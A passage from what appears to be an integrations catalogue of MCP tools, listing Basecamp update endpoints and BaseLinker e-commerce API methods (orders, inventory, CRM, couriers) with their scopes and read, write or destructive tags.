/api/v1/basecamp/question_answers/{answerId}. Scopes: api. basecamp_put_by_accountid_questions_by_questionid (write) — Update an existing question via PUT /{accountId}/questions/{questionId} PUT /api/v1/basecamp/questions/{questionId}. Scopes: api. basecamp_put_by_accountid_questions_by_questionid_notification_settings_json (write) — Update notification settings for a check-in question via PUT /{accountId}/questions/{questionId}/notification_settings.json PUT /api/v1/basecamp/questions/{questionId}/notification_settings.json. Scopes: api. basecamp_put_by_accountid_recordings_by_recordingid_client_visibility_json (write) — Set client visibility for a recording via PUT /{accountId}/recordings/{recordingId}/client_visibility.json PUT /api/v1/basecamp/recordings/{recordingId}/client_visibility.json. Scopes: api. basecamp_put_by_accountid_recordings_by_recordingid_status_active_json (write) — Unarchive a recording (restore to active status) via PUT /{accountId}/recordings/{recordingId}/status/active.json PUT /api/v1/basecamp/recordings/{recordingId}/status/active.json. Scopes: api. basecamp_put_by_accountid_recordings_by_recordingid_status_archived_json (write) — Archive a recording via PUT /{accountId}/recordings/{recordingId}/status/archived.json PUT /api/v1/basecamp/recordings/{recordingId}/status/archived.json. Scopes: api. basecamp_put_by_accountid_recordings_by_recordingid_status_trashed_json (write) — Trash a recording via PUT /{accountId}/recordings/{recordingId}/status/trashed.json PUT /api/v1/basecamp/recordings/{recordingId}/status/trashed.json. Scopes: api. basecamp_put_by_accountid_recordings_by_recordingid_subscription_json (write) — Update subscriptions by adding or removing specific users via PUT /{accountId}/recordings/{recordingId}/subscription.json PUT /api/v1/basecamp/recordings/{recordingId}/subscription.json. Scopes: api. basecamp_put_by_accountid_recordings_by_toolid_position_json (write) — Reposition a tool on the project dock via PUT /{accountId}/recordings/{toolId}/position.json PUT /api/v1/basecamp/recordings/{toolId}/position.json. Scopes: api. basecamp_put_by_accountid_schedule_entries_by_entryid (write) — Replace a schedule entry with a new complete representation. via PUT /{accountId}/schedule_entries/{entryId} PUT /api/v1/basecamp/schedule_entries/{entryId}. Scopes: api. basecamp_put_by_accountid_schedules_by_scheduleid (write) — Update schedule settings via PUT /{accountId}/schedules/{scheduleId} PUT /api/v1/basecamp/schedules/{scheduleId}. Scopes: api. basecamp_put_by_accountid_stacks_by_folderid (write) — Rename a folder. via PUT /{accountId}/stacks/{folderId} PUT /api/v1/basecamp/stacks/{folderId}. Scopes: api. basecamp_put_by_accountid_templates_by_templateid (write) — Update an existing template via PUT /{accountId}/templates/{templateId} PUT /api/v1/basecamp/templates/{templateId}. Scopes: api. basecamp_put_by_accountid_timesheet_entries_by_entryid (write) — Update a timesheet entry via PUT /{accountId}/timesheet_entries/{entryId} PUT /api/v1/basecamp/timesheet_entries/{entryId}. Scopes: api. basecamp_put_by_accountid_todolists_by_id (write) — Replace a todolist (or todolist group) with a new complete representation. via PUT /{accountId}/todolists/{id} PUT /api/v1/basecamp/todolists/{id}. Scopes: api. basecamp_put_by_accountid_todolists_groups_by_groupid_position_json (write) — Reposition a todolist group via PUT /{accountId}/todolists/groups/{groupId}/position.json PUT /api/v1/basecamp/todolists/groups/{groupId}/position.json. Scopes: api. basecamp_put_by_accountid_todos_by_todoid (write) — Replace a todo with a new complete representation. via PUT /{accountId}/todos/{todoId} PUT /api/v1/basecamp/todos/{todoId}. Scopes: api. basecamp_put_by_accountid_todos_by_todoid_position_json (write) — Reposition a todo within its todolist via PUT /{accountId}/todos/{todoId}/position.json PUT /api/v1/basecamp/todos/{todoId}/position.json. Scopes: api. basecamp_put_by_accountid_todosets_by_todosetid_hills_settings_json (write) — Track or untrack todolists on a hill chart via PUT /{accountId}/todosets/{todosetId}/hills/settings.json PUT /api/v1/basecamp/todosets/{todosetId}/hills/settings.json. Scopes: api. basecamp_put_by_accountid_todosets_todolists_by_todolistid_position_json (write) — Reposition a to-do list within its to-do set. via PUT /{accountId}/todosets/todolists/{todolistId}/position.json PUT /api/v1/basecamp/todosets/todolists/{todolistId}/position.json. Scopes: api. basecamp_put_by_accountid_uploads_by_uploadid (write) — Update an existing upload via PUT /{accountId}/uploads/{uploadId} PUT /api/v1/basecamp/uploads/{uploadId}. Scopes: api. basecamp_put_by_accountid_vaults_by_vaultid (write) — Update an existing vault via PUT /{accountId}/vaults/{vaultId} PUT /api/v1/basecamp/vaults/{vaultId}. Scopes: api. basecamp_put_by_accountid_webhooks_by_webhookid (write) — Update an existing webhook via PUT /{accountId}/webhooks/{webhookId} PUT /api/v1/basecamp/webhooks/{webhookId}. Scopes: api. ================================================================================ ## BaseLinker URL: https://www.agenticfabriq.com/integrations/baselinker Section: Integrated Tools BaseLinker — 198 MCP tools Provider key: baselinker. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. baselinker_add_connect_contractor_credit_settlement (write) — Add Connect Contractor Credit Settlement via POST /connector.php with method=addConnectContractorCreditSettlement. The method allows you to add a manual credit settlement (repayment) for a chosen contractor in Base Connect. A settlement reduces the blocked credit amount for the contractor, effectively recording a payment received for previously charged orders. The settlement amount cannot exceed the contractor's currently blocked credit amount (credit_to_pay). POST /api/v1/baselinker/method/add_connect_contractor_credit_settlement. Scopes: api. baselinker_add_crm_client (write) — Add CRM Client via POST /connector.php with method=addCrmClient. The method allows you to add a new CRM client. Adding a client with the same crm_client_id again will update the previously saved client (only the provided fields will be changed). POST /api/v1/baselinker/method/add_crm_client. Scopes: api. baselinker_add_crm_client_status (write) — Add CRM Client Status via POST /connector.php with method=addCrmClientStatus. Creates a new CRM client status or updates an existing one if status_id is provided. A new status is appended at the end of the status list within its group. POST /api/v1/baselinker/method/add_crm_client_status. Scopes: api. baselinker_add_crm_client_status_group (write) — Add CRM Client Status Group via POST /connector.php with method=addCrmClientStatusGroup. Creates a new CRM client status group or updates an existing one if group_id is provided. Status groups are used to visually organize client statuses in the panel sidebar. POST /api/v1/baselinker/method/add_crm_client_status_group. Scopes: api. baselinker_add_inventory (write) — Add Inventory via POST /connector.php with method=addInventory. The method allows you to add the Base catalogs. Adding a catalog with the same identifier again will cause updates of the previously saved catalog. POST /api/v1/baselinker/method/add_inventory. Scopes: api. baselinker_add_inventory_category (write) — Add Inventory Category via POST /connector.php with method=addInventoryCategory. The method allows you to add a category to the Base catalog. Adding a category with the same identifier again, updates the previously saved category POST /api/v1/baselinker/method/add_inventory_category. Scopes: api. baselinker_add_inventory_document (write) — Add Inventory Document via POST /connector.php with method=addInventoryDocument. The method allows you to create a new inventory document in Base storage. Documents are created as draft and need to be confirmed by the user or setInventoryDocumentStatusConfirmed API method. POST /api/v1/baselinker/method/add_inventory_document. Scopes: api. baselinker_add_inventory_document_file (write) — Add Inventory Document File via POST /connector.php with method=addInventoryDocumentFile. The method allows you to add an external PDF file to a warehouse document. It enables attaching a document issued in an external ERP system to the corresponding warehouse document in Base. POST /api/v1/baselinker/method/add_inventory_document_file. Scopes: api. baselinker_add_inventory_document_items (write) — Add Inventory Document Items via POST /connector.php with method=addInventoryDocumentItems. The method allows you to add items to an existing inventory document. POST /api/v1/baselinker/method/add_inventory_document_items. Scopes: api. baselinker_add_inventory_fulfillment_delivery (write) — Add Inventory Fulfillment Delivery via POST /connector.php with method=addInventoryFulfillmentDelivery. The method allows you to create a new fulfillment delivery in draft status. A fulfillment delivery represents a shipment of products from a source warehouse to a fulfillment center. POST /api/v1/baselinker/method/add_inventory_fulfillment_delivery. Scopes: api. baselinker_add_inventory_fulfillment_delivery_items (write) — Add Inventory Fulfillment Delivery Items via POST /connector.php with method=addInventoryFulfillmentDeliveryItems. The method allows you to add products to a fulfillment delivery. Items can only be added to deliveries in draft status. Products must exist in inventory and must not be bundles, drafts, or main products with variants. POST /api/v1/baselinker/method/add_inventory_fulfillment_delivery_items. Scopes: api. baselinker_add_inventory_manufacturer (write) — Add Inventory Manufacturer via POST /connector.php with method=addInventoryManufacturer. The method allows you to add a manufacturer to the Base catalog. Adding a manufacturer with the same identifier again, updates the previously saved manufacturer POST /api/v1/baselinker/method/add_inventory_manufacturer. Scopes: api. baselinker_add_inventory_payer (write) — Add Inventory Payer via POST /connector.php with method=addInventoryPayer. The method allows you to add a new payer or update an existing one in BaseLinker storage. POST /api/v1/baselinker/method/add_inventory_payer. Scopes: api. baselinker_add_inventory_price_group (write) — Add Inventory Price Group via POST /connector.php with method=addInventoryPriceGroup. The method allows to create a price group in Base storage. Providing a price group ID will update the existing price group. Such price groups may be later assigned in addInventory method. Supports defining price calculation options including group type, source price group, multiplier, and price addition. POST /api/v1/baselinker/method/add_inventory_price_group. Scopes: api. baselinker_add_inventory_product (write) — Add Inventory Product via POST /connector.php with method=addInventoryProduct. The method allows you to add a new product to Base catalog. Entering the product with the ID updates previously saved product. POST /api/v1/baselinker/method/add_inventory_product. Scopes: api. baselinker_add_inventory_purchase_order (write) — Add Inventory Purchase Order via POST /connector.php with method=addInventoryPurchaseOrder. The method allows you to create a new purchase order in Base storage. Orders are created as drafts by default. POST /api/v1/baselinker/method/add_inventory_purchase_order. Scopes: api. baselinker_add_inventory_purchase_order_file (write) — Add Inventory Purchase Order File via POST /connector.php with method=addInventoryPurchaseOrderFile. The method allows you to add a cost invoice PDF file to a purchase order. It enables attaching an invoice issued by the supplier to the corresponding purchase order in Base. POST /api/v1/baselinker/method/add_inventory_purchase_order_file. Scopes: api. baselinker_add_inventory_purchase_order_items (write) — Add Inventory Purchase Order Items via POST /connector.php with method=addInventoryPurchaseOrderItems. The method allows you to add items to an existing purchase order. Entering the product with the ID and price updates the previously saved position only if all other parameters match. If any parameter differs (e.g. location), a new item will be added. POST /api/v1/baselinker/method/add_inventory_purchase_order_items. Scopes: api. baselinker_add_inventory_stocktake (write) — Add Inventory Stocktake via POST /connector.php with method=addInventoryStocktake. The method allows you to create a new stocktake (inventory count) in draft status. For non-manual scopes, the product list is automatically populated based on the selected scope and warehouse. POST /api/v1/baselinker/method/add_inventory_stocktake. Scopes: api. baselinker_add_inventory_stocktake_items (write) — Add Inventory Stocktake Items via POST /connector.php with method=addInventoryStocktakeItems. The method allows you to add items to an existing stocktake in draft status. Entering a product with the same ID and matching parameters updates the previously saved position. If any parameter differs, a new item will be added. POST /api/v1/baselinker/method/add_inventory_stocktake_items. Scopes: api. baselinker_add_inventory_supplier (write) — Add Inventory Supplier via POST /connector.php with method=addInventorySupplier. The method allows you to add a new supplier or update an existing one in BaseLinker storage. POST /api/v1/baselinker/method/add_inventory_supplier. Scopes: api. baselinker_add_inventory_tag (write) — Add Inventory Tag via POST /connector.php with method=addInventoryTag. The method allows you to add a tag to the Base product catalog. Adding a tag with the same tag_id again updates the previously saved tag. POST /api/v1/baselinker/method/add_inventory_tag. Scopes: api. baselinker_add_inventory_transfer (write) — Add Inventory Transfer via POST /connector.php with method=addInventoryTransfer. The method allows you to create a new inventory transfer in draft status. Both source and target warehouses must belong to inventories with advanced WMS enabled. POST /api/v1/baselinker/method/add_inventory_transfer. Scopes: api. baselinker_add_inventory_transfer_items (write) — Add Inventory Transfer Items via POST /connector.php with method=addInventoryTransferItems. The method allows you to add planning items to an inventory transfer in draft status. Entering the product with the ID updates the previously saved position only if all other parameters match. If any parameter differs (e.g. location), a new item will be added. POST /api/v1/baselinker/method/add_inventory_transfer_items. Scopes: api. baselinker_add_inventory_warehouse (write) — Add Inventory Warehouse via POST /connector.php with method=addInventoryWarehouse. The method allows you to add a new warehouse available in Base inventories. Adding a warehouse with the same identifier again will cause updates of the previously saved warehouse. The method does not allow editing warehouses created automatically for the purpose of keeping external stocks of shops, wholesalers etc. Such warehouse may be later used in addInventory method. POST /api/v1/baselinker/method/add_inventory_warehouse. Scopes: api. baselinker_add_inventory_warehouse_location (write) — Add Inventory Warehouse Location via POST /connector.php with method=addInventoryWarehouseLocation. The method allows you to add or update a warehouse location in a Base inventory warehouse. POST /api/v1/baselinker/method/add_inventory_warehouse_location. Scopes: api. baselinker_add_inventory_warehouse_location_type (write) — Add Inventory Warehouse Location Type via POST /connector.php with method=addInventoryWarehouseLocationType. The method allows you to add or update a warehouse location type. POST /api/v1/baselinker/method/add_inventory_warehouse_location_type. Scopes: api. baselinker_add_inventory_warehouse_rack (write) — Add Inventory Warehouse Rack via POST /connector.php with method=addInventoryWarehouseRack. The method allows you to add or update a warehouse rack. Providing a rack_id updates the existing rack; omitting it creates a new one. POST /api/v1/baselinker/method/add_inventory_warehouse_rack. Scopes: api. baselinker_add_inventory_warehouse_zone (write) — Add Inventory Warehouse Zone via POST /connector.php with method=addInventoryWarehouseZone. The method allows you to add or update a warehouse zone. Providing a zone_id updates the existing zone; omitting it creates a new one. POST /api/v1/baselinker/method/add_inventory_warehouse_zone. Scopes: api. baselinker_add_invoice (write) — Add Invoice via POST /connector.php with method=addInvoice. The method allows to issue an order invoice. POST /api/v1/baselinker/method/add_invoice. Scopes: api. baselinker_add_invoice_correction (write) — Add Invoice Correction via POST /connector.php with method=addInvoiceCorrection. The method allows to issue an order invoice correction. Either original_invoice_id or return_order_id must be provided. If return_order_id is provided, all other fields will be ignored (except series_id) and invoice will be created with data from the return order. If field is optional and not provided, it will be set according to the series settings or default values. POST /api/v1/baselinker/method/add_invoice_correction. Scopes: api. baselinker_add_order (write) — Add Order via POST /connector.php with method=addOrder. The method allows adding a new order to the Base order manager. POST /api/v1/baselinker/method/add_order. Scopes: api. baselinker_add_order_by_split (write) — Add Order By Split via POST /connector.php with method=addOrderBySplit. Creates a new order by splitting selected products from an existing order. The new order inherits all fields and information from the original one. POST /api/v1/baselinker/method/add_order_by_split. Scopes: api. baselinker_add_order_duplicate (write) — Add Order Duplicate via POST /connector.php with method=addOrderDuplicate. The method allows you to add a new order to the Base order manager by duplicating an existing order. The new order will have the same data as the original order, but with a different ID. POST /api/v1/baselinker/method/add_order_duplicate. Scopes: api. baselinker_add_order_invoice_file (write) — Add Order Invoice File via POST /connector.php with method=addOrderInvoiceFile. The method allows you to add an external file to an invoice previously issued from Base. It enables replacing a standard invoice from Base with an invoice issued e.g. in an ERP program. POST /api/v1/baselinker/method/add_order_invoice_file. Scopes: api. baselinker_add_order_pick_list (write) — Add Order Pick List via POST /connector.php with method=addOrderPickList. Creates a paper pick list for up to 100 orders belonging to the authenticated user. Creating the list does not print it and does not mark the orders as picked or packed. POST /api/v1/baselinker/method/add_order_pick_list. Scopes: api. baselinker_add_order_product (write) — Add Order Product via POST /connector.php with method=addOrderProduct. The method allows you to add a new product to your order. POST /api/v1/baselinker/method/add_order_product. Scopes: api. baselinker_add_order_receipt_file (write) — Add Order Receipt File via POST /connector.php with method=addOrderReceiptFile. The method allows you to add an external file to a receipt previously issued from Base. It enables replacing a standard receipt from Base with a receipt issued e.g. in an ERP program. POST /api/v1/baselinker/method/add_order_receipt_file. Scopes: api. baselinker_add_order_return (write) — Add Order Return via POST /connector.php with method=addOrderReturn. The method allows adding a new order return to Base. POST /api/v1/baselinker/method/add_order_return. Scopes: api. baselinker_add_order_return_product (write) — Add Order Return Product via POST /connector.php with method=addOrderReturnProduct. Add new product to existing order return POST /api/v1/baselinker/method/add_order_return_product. Scopes: api. baselinker_add_order_return_status (write) — Add Order Return Status via POST /connector.php with method=addOrderReturnStatus. Creates a new order return status or updates an existing one if status_id is provided. A new status is appended at the end of the status list within its group. POST /api/v1/baselinker/method/add_order_return_status. Scopes: api. baselinker_add_order_return_status_group (write) — Add Order Return Status Group via POST /connector.php with method=addOrderReturnStatusGroup. Creates a new order return status group or updates an existing one if group_id is provided. Status groups are used to visually organize return statuses in the panel sidebar. POST /api/v1/baselinker/method/add_order_return_status_group. Scopes: api. baselinker_add_order_status (write) — Add Order Status via POST /connector.php with method=addOrderStatus. Creates a new order status or updates an existing one if status_id is provided. A new status is appended at the end of the status list within its group. POST /api/v1/baselinker/method/add_order_status. Scopes: api. baselinker_add_order_status_group (write) — Add Order Status Group via POST /connector.php with method=addOrderStatusGroup. Creates a new order status group or updates an existing one if group_id is provided. Status groups are used to visually organize statuses in the panel sidebar. POST /api/v1/baselinker/method/add_order_status_group. Scopes: api. baselinker_add_pick_pack_cart (write) — Add Pick Pack Cart via POST /connector.php with method=addPickPackCart. Creates a new PickPack cart or updates an existing one. When creating a cart, you must provide a name, and optionally a color. When updating a cart, you must provide the cart_id and can optionally update the name and/or color. If no color is provided during creation, the system will automatically generate a random color. The cart will be assigned to the current user and positioned at the end of their cart list (for new carts). POST /api/v1/baselinker/method/add_pick_pack_cart. Scopes: api. baselinker_add_pick_pack_orders_to_cart (write) — Add Pick Pack Orders To Cart via POST /connector.php with method=addPickPackOrdersToCart. The method allows you to assign multiple orders to a specific PickPack cart in a single API call. You can assign up to 20 orders at once. If any order is already assigned to another cart, it will be moved to the new cart (only one cart assignment per order is allowed). POST /api/v1/baselinker/method/add_pick_pack_orders_to_cart. Scopes: api. baselinker_add_receipt (write) — Add Receipt via POST /connector.php with method=addReceipt. The method allows you to issue a receipt for an order. POST /api/v1/baselinker/method/add_receipt. Scopes: api. baselinker_create_package (write) — Create Package via POST /connector.php with method=createPackage. The method allows you to create a shipment in the system of the selected courier. POST /api/v1/baselinker/method/create_package. Scopes: api. baselinker_create_package_manual (write) — Create Package Manual via POST /connector.php with method=createPackageManual. The method allows you to enter the shipping number and the name of the courier to the order (function used only to add shipments created outside Base) POST /api/v1/baselinker/method/create_package_manual. Scopes: api. baselinker_delete_courier_package (write, destructive) — Delete Courier Package via POST /connector.php with method=deleteCourierPackage. The method allows you to delete a previously created shipment. The method removes the shipment from the Base system and from the courier system if the courier API allows it POST /api/v1/baselinker/method/delete_courier_package. Scopes: api. baselinker_delete_crm_client (write, destructive) — Delete CRM Client via POST /connector.php with method=deleteCrmClient. The method allows you to remove a CRM client. Orders previously associated with the deleted client are not affected. POST /api/v1/baselinker/method/delete_crm_client. Scopes: api. baselinker_delete_crm_client_status (write, destructive) — Delete CRM Client Status via POST /connector.php with method=deleteCrmClientStatus. Deletes a CRM client status. All clients currently in the deleted status are moved to the specified target status. The primary (default) status cannot be deleted. POST /api/v1/baselinker/method/delete_crm_client_status. Scopes: api. baselinker_delete_crm_client_status_group (write, destructive) — Delete CRM Client Status Group via POST /connector.php with method=deleteCrmClientStatusGroup. Deletes a CRM client status group. All client statuses in the deleted group are moved to the main (default) group. The main group itself cannot be deleted. POST /api/v1/baselinker/method/delete_crm_client_status_group. Scopes: api. baselinker_delete_inventory (write, destructive) — Delete Inventory via POST /connector.php with method=deleteInventory. The method allows you to delete a catalog from Base storage. POST /api/v1/baselinker/method/delete_inventory. Scopes: api. baselinker_delete_inventory_category (write, destructive) — Delete Inventory Category via POST /connector.php with method=deleteInventoryCategory. The method allows you to remove categories from Base warehouse. Along with the category, the products contained therein are removed (however, this does not apply to products in subcategories). The subcategories will be changed to the highest level categories. POST /api/v1/baselinker/method/delete_inventory_category. Scopes: api. baselinker_delete_inventory_manufacturer (write, destructive) — Delete Inventory Manufacturer via POST /connector.php with method=deleteInventoryManufacturer. The method allows you to remove manufacturer from Base catalog POST /api/v1/baselinker/method/delete_inventory_manufacturer. Scopes: api. baselinker_delete_inventory_payer (write, destructive) — Delete Inventory Payer via POST /connector.php with method=deleteInventoryPayer. The method allows you to remove a payer from BaseLinker storage. POST /api/v1/baselinker/method/delete_inventory_payer. Scopes: api. baselinker_delete_inventory_price_group (write, destructive) — Delete Inventory Price Group via POST /connector.php with method=deleteInventoryPriceGroup. The method allows you to remove the price group from Base storage. POST /api/v1/baselinker/method/delete_inventory_price_group. Scopes: api. baselinker_delete_inventory_product (write, destructive) — Delete Inventory Product via POST /connector.php with method=deleteInventoryProduct. The method allows you to remove the product from Base catalog. POST /api/v1/baselinker/method/delete_inventory_product. Scopes: api. baselinker_delete_inventory_supplier (write, destructive) — Delete Inventory Supplier via POST /connector.php with method=deleteInventorySupplier. The method allows you to remove a supplier from BaseLinker storage. POST /api/v1/baselinker/method/delete_inventory_supplier. Scopes: api. baselinker_delete_inventory_tag (write, destructive) — Delete Inventory Tag via POST /connector.php with method=deleteInventoryTag. The method allows you to remove a tag from the Base product catalog. When a tag is deleted, it is automatically unlinked from all products that have it assigned. POST /api/v1/baselinker/method/delete_inventory_tag. Scopes: api. baselinker_delete_inventory_warehouse (write, destructive) — Delete Inventory Warehouse via POST /connector.php with method=deleteInventoryWarehouse. The method allows you to remove the warehouse available in Base inventories. The method does not allow to remove warehouses created automatically for the purpose of keeping external stocks of shops, wholesalers etc. POST /api/v1/baselinker/method/delete_inventory_warehouse. Scopes: api. baselinker_delete_inventory_warehouse_location (write, destructive) — Delete Inventory Warehouse Location via POST /connector.php with method=deleteInventoryWarehouseLocation. The method allows you to delete a single warehouse location from a Base inventory warehouse. The location is identified by location_id and must belong to the warehouse identified by warehouse_type + warehouse_id. POST /api/v1/baselinker/method/delete_inventory_warehouse_location. Scopes: api. baselinker_delete_inventory_warehouse_location_type (write, destructive) — Delete Inventory Warehouse Location Type via POST /connector.php with method=deleteInventoryWarehouseLocationType. The method allows you to delete a single warehouse location type. The default location type cannot be deleted. POST /api/v1/baselinker/method/delete_inventory_warehouse_location_type. Scopes: api. baselinker_delete_inventory_warehouse_rack (write, destructive) — Delete Inventory Warehouse Rack via POST /connector.php with method=deleteInventoryWarehouseRack. The method allows you to delete a warehouse rack. All locations assigned to the rack are unassigned. POST /api/v1/baselinker/method/delete_inventory_warehouse_rack. Scopes: api. baselinker_delete_inventory_warehouse_zone (write, destructive) — Delete Inventory Warehouse Zone via POST /connector.php with method=deleteInventoryWarehouseZone. The method allows you to delete a warehouse zone. All racks assigned to the zone are also deleted and all locations within the zone are unassigned. POST /api/v1/baselinker/method/delete_inventory_warehouse_zone. Scopes: api. baselinker_delete_order_product (write, destructive) — Delete Order Product via POST /connector.php with method=deleteOrderProduct. The method allows you to remove a specific product from the order. POST /api/v1/baselinker/method/delete_order_product. Scopes: api. baselinker_delete_order_return_product (write, destructive) — Delete Order Return Product via POST /connector.php with method=deleteOrderReturnProduct. The method allows you to remove a specific product from the return. POST /api/v1/baselinker/method/delete_order_return_product. Scopes: api. baselinker_delete_order_return_status (write, destructive) — Delete Order Return Status via POST /connector.php with method=deleteOrderReturnStatus. Deletes an order return status. All returns currently in the deleted status are moved to the specified target status. The primary (default) status cannot be deleted. POST /api/v1/baselinker/method/delete_order_return_status. Scopes: api. baselinker_delete_order_return_status_group (write, destructive) — Delete Order Return Status Group via POST /connector.php with method=deleteOrderReturnStatusGroup. Deletes an order return status group. All return statuses in the deleted group are moved to the main (default) group. The main group itself cannot be deleted. POST /api/v1/baselinker/method/delete_order_return_status_group. Scopes: api. baselinker_delete_order_status (write, destructive) — Delete Order Status via POST /connector.php with method=deleteOrderStatus. Deletes an order status. All orders currently in the deleted status are moved to the specified target status. The primary (default) status cannot be deleted. POST /api/v1/baselinker/method/delete_order_status. Scopes: api. baselinker_delete_order_status_group (write, destructive) — Delete Order Status Group via POST /connector.php with method=deleteOrderStatusGroup. Deletes an order status group. All statuses in the deleted group are moved to the main (default) group. The main group itself cannot be deleted. POST /api/v1/baselinker/method/delete_order_status_group. Scopes: api. baselinker_delete_orders (write, destructive) — Delete Orders via POST /connector.php with method=deleteOrders. The method allows you to delete multiple orders from the Base order manager. POST /api/v1/baselinker/method/delete_orders. Scopes: api. baselinker_delete_pick_pack_cart (write, destructive) — Delete Pick Pack Cart via POST /connector.php with method=deletePickPackCart. The method allows you to delete a PickPack cart from the user's account. When a cart is deleted, all order assignments to that cart are automatically cleared (all orders in the cart are unassigned). The cart must belong to the authenticated user. POST /api/v1/baselinker/method/delete_pick_pack_cart. Scopes: api. baselinker_delete_pick_pack_cart_orders (write, destructive) — Delete Pick Pack Cart Orders via POST /connector.php with method=deletePickPackCartOrders. The method allows you to remove all orders from a specific PickPack cart. After clearing, the cart remains active but contains no orders. All orders that were in the cart become unassigned. The operation only affects carts belonging to the authenticated user. POST /api/v1/baselinker/method/delete_pick_pack_cart_orders. Scopes: api. baselinker_delete_pick_pack_order_from_cart (write, destructive) — Delete Pick Pack Order From Cart via POST /connector.php with method=deletePickPackOrderFromCart. The method allows you to remove a specific order from its assigned PickPack cart. After removal, the order will no longer be associated with any cart. The operation only affects orders belonging to the authenticated user. POST /api/v1/baselinker/method/delete_pick_pack_order_from_cart. Scopes: api. baselinker_get_connect_contractor_credit_history (read) — Get Connect Contractor Credit History via POST /connector.php with method=getConnectContractorCreditHistory. The method allows you to retrieve an information about chosen contractor trade credit history POST /api/v1/baselinker/method/get_connect_contractor_credit_history. Scopes: api. baselinker_get_connect_integration_contractors (read) — Get Connect Integration Contractors via POST /connector.php with method=getConnectIntegrationContractors. The method allows you to retrieve a list of contractors connected to the selected Base Connect integration POST /api/v1/baselinker/method/get_connect_integration_contractors. Scopes: api. baselinker_get_connect_integrations (read) — Get Connect Integrations via POST /connector.php with method=getConnectIntegrations. The method allows you to retrieve a list of all Base Connect integrations on this account POST /api/v1/baselinker/method/get_connect_integrations. Scopes: api. baselinker_get_courier_accounts (read) — Get Courier Accounts via POST /connector.php with method=getCourierAccounts. The method allows you to retrieve a list of accounts connected with a courier. POST /api/v1/baselinker/method/get_courier_accounts. Scopes: api. baselinker_get_courier_document (read) — Get Courier Document via POST /connector.php with method=getCourierDocument. The method allows you to download a parcel document POST /api/v1/baselinker/method/get_courier_document. Scopes: api. baselinker_get_courier_fields (read) — Get Courier Fields via POST /connector.php with method=getCourierFields. The method allows you to retrieve the form fields for creating shipments for the selected courier. POST /api/v1/baselinker/method/get_courier_fields. Scopes: api. baselinker_get_courier_packages_status_history (read) — Get Courier Packages Status History via POST /connector.php with method=getCourierPackagesStatusHistory. The method allows you to retrieve the history of the status list of the given shipments. Maximum 100 shipments at a time POST /api/v1/baselinker/method/get_courier_packages_status_history. Scopes: api. baselinker_get_courier_services (read) — Get Courier Services via POST /connector.php with method=getCourierServices. The method allows you to retrieve additional courier services, which depend on other shipment settings. Used only for BrokerSystem, Wysyłam z Allegro, ErliPRO couriers. Not applicable to other couriers whose forms have fixed options. The details of the package should be sent with the method (the format as in createPackage) in order to receive a list of additional services POST /api/v1/baselinker/method/get_courier_services. Scopes: api. baselinker_get_couriers_list (read) — Get Couriers List via POST /connector.php with method=getCouriersList. The method allows you to retrieve a list of available couriers. POST /api/v1/baselinker/method/get_couriers_list. Scopes: api. baselinker_get_crm_client_data (read) — Get CRM Client Data via POST /connector.php with method=getCrmClientData. The method allows you to retrieve detailed data of a specific CRM client, including notes. POST /api/v1/baselinker/method/get_crm_client_data. Scopes: api. baselinker_get_crm_client_extra_fields (read) — Get CRM Client Extra Fields via POST /connector.php with method=getCrmClientExtraFields. The method returns extra fields defined for CRM clients. Values of those fields can be set with method addCrmClient. In order to retrieve values of those fields use method getCrmClientData or set parameter include_custom_extra_fields in method getCrmClients. POST /api/v1/baselinker/method/get_crm_client_extra_fields. Scopes: api. baselinker_get_crm_client_status_groups (read) — Get CRM Client Status Groups via POST /connector.php with method=getCrmClientStatusGroups. Returns the list of CRM client status groups. POST /api/v1/baselinker/method/get_crm_client_status_groups. Scopes: api. baselinker_get_crm_client_statuses (read) — Get CRM Client Statuses via POST /connector.php with method=getCrmClientStatuses. Returns CRM client statuses created by the user in the order manager. POST /api/v1/baselinker/method/get_crm_client_statuses. Scopes: api. baselinker_get_crm_clients (read) — Get CRM Clients via POST /connector.php with method=getCrmClients. The method allows you to retrieve a list of CRM clients. The client list can be limited using the filters described in the method parameters. A maximum of 100 clients are returned at a time. To retrieve full client details (including notes and custom extra fields), use the getCrmClientData method. POST /api/v1/baselinker/method/get_crm_clients. Scopes: api. baselinker_get_external_storage_categories (read) — Get External Storage Categories via POST /connector.php with method=getExternalStorageCategories. The method allows you to retrieve a category list from an external storage (shop/wholesale) connected to BaseLinker. POST /api/v1/baselinker/method/get_external_storage_categories. Scopes: api. baselinker_get_external_storage_products_data (read) — Get External Storage Products Data via POST /connector.php with method=getExternalStorageProductsData. The method allows to retrieve detailed data of selected products from an external storage (shop/wholesaler) connected to BaseLinker. POST /api/v1/baselinker/method/get_external_storage_products_data. Scopes: api. baselinker_get_external_storage_products_list (read) — Get External Storage Products List via POST /connector.php with method=getExternalStorageProductsList. The method allows to retrieve detailed data of selected products from an external storage (shop/wholesaler) connected to BaseLinker. POST /api/v1/baselinker/method/get_external_storage_products_list. Scopes: api. baselinker_get_external_storage_products_prices (read) — Get External Storage Products Prices via POST /connector.php with method=getExternalStorageProductsPrices. The method allows to retrieve product prices from an external storage (shop/wholesaler) connected to BaseLinker. POST /api/v1/baselinker/method/get_external_storage_products_prices. Scopes: api. baselinker_get_external_storage_products_quantity (read) — Get External Storage Products Quantity via POST /connector.php with method=getExternalStorageProductsQuantity. The method allows to retrieve stock from an external storage (shop/wholesaler) connected to BaseLinker. POST /api/v1/baselinker/method/get_external_storage_products_quantity. Scopes: api. baselinker_get_external_storages_list (read) — Get External Storages List via POST /connector.php with method=getExternalStoragesList. The method allows you to retrieve a list of available external storages (shops, wholesalers) that can be referenced via API. POST /api/v1/baselinker/method/get_external_storages_list. Scopes: api. baselinker_get_inventories (read) — Get Inventories via POST /connector.php with method=getInventories. The method allows you to retrieve a list of catalogs available in the Base storage. POST /api/v1/baselinker/method/get_inventories. Scopes: api. baselinker_get_inventory_available_text_field_keys (read) — Get Inventory Available Text Field Keys via POST /connector.php with method=getInventoryAvailableTextFieldKeys. The method returns a list of product text fields that can be overwritten for specific integration. POST /api/v1/baselinker/method/get_inventory_available_text_field_keys. Scopes: api. baselinker_get_inventory_categories (read) — Get Inventory Categories via POST /connector.php with 